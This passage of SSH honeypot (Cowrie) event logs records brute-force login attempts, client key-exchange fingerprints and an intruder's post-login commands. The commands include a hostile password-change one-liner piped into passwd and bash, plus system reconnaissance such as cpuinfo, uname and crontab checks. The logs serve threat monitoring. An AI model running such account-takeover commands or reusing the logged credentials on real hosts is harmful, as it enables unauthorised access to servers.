":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:42.901939Z","src_ip":"176.53.96.10","session":"222c25fca356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:43.415382Z","src_ip":"176.53.96.10","session":"222c25fca356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:44.540262Z","src_ip":"176.53.96.10","session":"222c25fca356","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:44.706517Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:44.709512Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:44.832999Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.107878Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin321\\npNjYuS3iaLVF\\npNjYuS3iaLVF\"|passwd|bash","message":"CMD: echo -e \"admin321\\npNjYuS3iaLVF\\npNjYuS3iaLVF\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.111086Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.114440Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.117190Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e318bdaec3663bde3160247cbe231aea9a4841ebecf93747fe9393b812a6a4a7","size":32,"shasum":"e318bdaec3663bde3160247cbe231aea9a4841ebecf93747fe9393b812a6a4a7","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e318bdaec3663bde3160247cbe231aea9a4841ebecf93747fe9393b812a6a4a7 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.246142Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.527558Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin321\\npNjYuS3iaLVF\\npNjYuS3iaLVF\\n\"|passwd","message":"CMD: echo \"admin321\\npNjYuS3iaLVF\\npNjYuS3iaLVF\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.530855Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4c1e790faedd683750c80074d1f431a3f7d9301109ce6956d7f10d0a9dfb1044","size":25,"shasum":"4c1e790faedd683750c80074d1f431a3f7d9301109ce6956d7f10d0a9dfb1044","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4c1e790faedd683750c80074d1f431a3f7d9301109ce6956d7f10d0a9dfb1044 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:45.654180Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.001946Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.005278Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.130170Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.415505Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.419000Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.544704Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.825255Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.829215Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.832824Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:46.958972Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.242972Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.246643Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.369524Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.648760Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.652032Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:47.783237Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.070535Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.073827Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.197296Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.482063Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.485317Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.609435Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.905689Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:48.908956Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.033129Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.502261Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.505307Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.628216Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.909328Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:49.911745Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.035479Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.318421Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.321878Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.445753Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.741941Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.745654Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:50.870584Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:51.143790Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:51.146295Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:51.270108Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:21:51.277116Z","src_ip":"176.53.96.10","session":"47ff1b5b60e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b50de38e3a2","protocol":"ssh","message":"New connection: 165.154.5.148:46900 (10.17.0.5:22) [session: 3b50de38e3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:02.473248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:02.477967Z","src_ip":"165.154.5.148","session":"3b50de38e3a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:02.691812Z","src_ip":"165.154.5.148","session":"3b50de38e3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456xz","message":"login attempt [root/123456xz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:03.577004Z","src_ip":"165.154.5.148","session":"3b50de38e3a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:04.793956Z","src_ip":"165.154.5.148","session":"3b50de38e3a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58970,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a818d2c5bc","protocol":"ssh","message":"New connection: 159.203.92.129:58970 (159.203.135.109:22) [session: c3a818d2c5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:05.155678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:22:05.183381Z","src_ip":"159.203.92.129","session":"c3a818d2c5bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecd